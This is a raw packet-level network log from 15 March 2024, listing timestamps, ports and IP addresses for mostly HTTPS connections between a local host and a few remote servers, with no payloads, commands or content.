Mar 15, 2024 13:58:42.293530941 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.293579102 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.295958996 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.296165943 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.296200037 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.297734976 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.297808886 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.298079967 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.298171043 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.298175097 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.340234995 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.340280056 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.340454102 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.340466976 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.340521097 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.340542078 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.345932007 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.345957994 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.345966101 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.345999956 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.346023083 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.346040010 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.346062899 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.388459921 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.388474941 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.388479948 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.455718040 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455730915 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455768108 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455826044 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.455909967 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455924034 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.455934048 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455980062 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.455980062 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.456089973 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.456234932 CET	49782	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.456252098 CET	443	49782	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.464782953 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.464796066 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.465028048 CET	49785	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.465049028 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.465148926 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.465173006 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.465409994 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.465560913 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.465804100 CET	49785	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.465869904 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.466098070 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.466176987 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.466240883 CET	49785	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.466275930 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.508235931 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.508245945 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.514661074 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.514708996 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.514755011 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.514784098 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.514795065 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.514820099 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.514863968 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.515353918 CET	49784	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.515369892 CET	443	49784	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.518970013 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.519231081 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.519344091 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.519640923 CET	49783	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.519670963 CET	443	49783	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.673055887 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.673363924 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.673449039 CET	49785	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.673795938 CET	49785	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.673808098 CET	443	49785	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.680788994 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.680809021 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.680862904 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.680877924 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.709912062 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.709969044 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:42.709976912 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.710165977 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.710372925 CET	49786	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:42.710381985 CET	443	49786	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.369441032 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:50.369484901 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.369626999 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:50.369862080 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:50.369879961 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.607124090 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.607450008 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:50.607475996 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.608001947 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.608310938 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:58:50.608376980 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:58:50.653521061 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:00.722933054 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:00.723057032 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:00.723128080 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:01.995439053 CET	49787	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:01.995460033 CET	443	49787	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:02.234443903 CET	49697	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:59:02.321825027 CET	80	49697	192.229.211.108	192.168.2.17
Mar 15, 2024 13:59:02.321949959 CET	49697	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:59:07.373114109 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.373135090 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.373208046 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.373469114 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.373478889 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.380551100 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.380565882 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.380619049 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.380899906 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.380908966 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.613375902 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.613744020 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.613790035 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.614140034 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.614442110 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.614530087 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.614600897 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.660233974 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.854980946 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.855036974 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.855143070 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.855173111 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.855424881 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.855489016 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.855746984 CET	49790	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:07.855763912 CET	443	49790	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:07.953053951 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:07.953077078 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:07.953191042 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:07.953433037 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:07.953445911 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.151144981 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.151705980 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.151730061 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.152808905 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.152894020 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.154304028 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.154414892 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.154419899 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.154429913 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.196105003 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.196149111 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.196187019 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.196197987 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.196286917 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.196481943 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.196495056 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.243649960 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.359460115 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.359847069 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.359950066 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.360352993 CET	49791	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:08.360371113 CET	443	49791	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:08.559883118 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.560199976 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.560218096 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.561292887 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.561400890 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.562319040 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.562382936 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.562468052 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.562475920 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.605602980 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.610661983 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:08.611032963 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:08.611067057 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:08.611443043 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:08.611754894 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:08.611821890 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:08.653561115 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:08.904476881 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.904613018 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:08.904678106 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.905106068 CET	49792	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:08.905124903 CET	443	49792	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:09.408695936 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.408725977 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.408781052 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.409164906 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.409177065 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.595866919 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.596163988 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.596179962 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.597215891 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.597289085 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.597563982 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.597619057 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.597724915 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.597734928 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.641567945 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.823476076 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.823518991 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.823545933 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.823610067 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.823628902 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.823697090 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.823703051 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.829404116 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.829493046 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.829503059 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.829511881 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.829580069 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.835522890 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.840167999 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.840224028 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.840234041 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.846250057 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.846328974 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.846338987 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.895528078 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.911040068 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.913973093 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.914055109 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.914058924 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.914072037 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.914115906 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.920114994 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.926316977 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.926363945 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.926369905 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.932655096 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.932677984 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.932708025 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.932713985 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.932746887 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.932753086 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.938980103 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.939035892 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.939042091 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.944703102 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.944756985 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.944761992 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.950761080 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.950862885 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.950871944 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.956338882 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.956414938 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.956439018 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.961879015 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.961935043 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.961941957 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.968142986 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.968225956 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.968233109 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.972804070 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.972835064 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.972868919 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.972876072 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.972913027 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.978323936 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.981182098 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.981259108 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.981266022 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.981323957 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.981372118 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.981379032 CET	443	49794	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:09.981400967 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.981400967 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:09.981417894 CET	49794	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.830158949 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.830203056 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:10.830271006 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.830455065 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.830471039 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:10.858613014 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.858654976 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:10.858776093 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.859035969 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:10.859047890 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.020663977 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.020850897 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.020879984 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.021229029 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.021488905 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.021548986 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.021574974 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.045847893 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.046103001 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.046118975 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.046447992 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.046736956 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.046797037 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.046859980 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.064238071 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.075592041 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.092236042 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.222450018 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.222589016 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.222647905 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.223263979 CET	49799	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.223288059 CET	443	49799	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227324009 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227375031 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227428913 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.227442026 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227598906 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227639914 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.227646112 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227741003 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.227780104 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.227785110 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.233380079 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.233444929 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.233450890 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.239324093 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.239379883 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.239387035 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.245479107 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.245563030 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.245569944 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.299552917 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.299562931 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.315090895 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.315139055 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.315164089 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.315180063 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.315224886 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.316651106 CET	49800	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.316667080 CET	443	49800	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.382879019 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.382920027 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.383003950 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.383268118 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.383281946 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.573676109 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.573976994 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.574012995 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.574343920 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.574640989 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.574707985 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.574774981 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.620239019 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.791511059 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.791568995 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.791604042 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.791651964 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.791672945 CET	443	49802	142.250.64.68	192.168.2.17
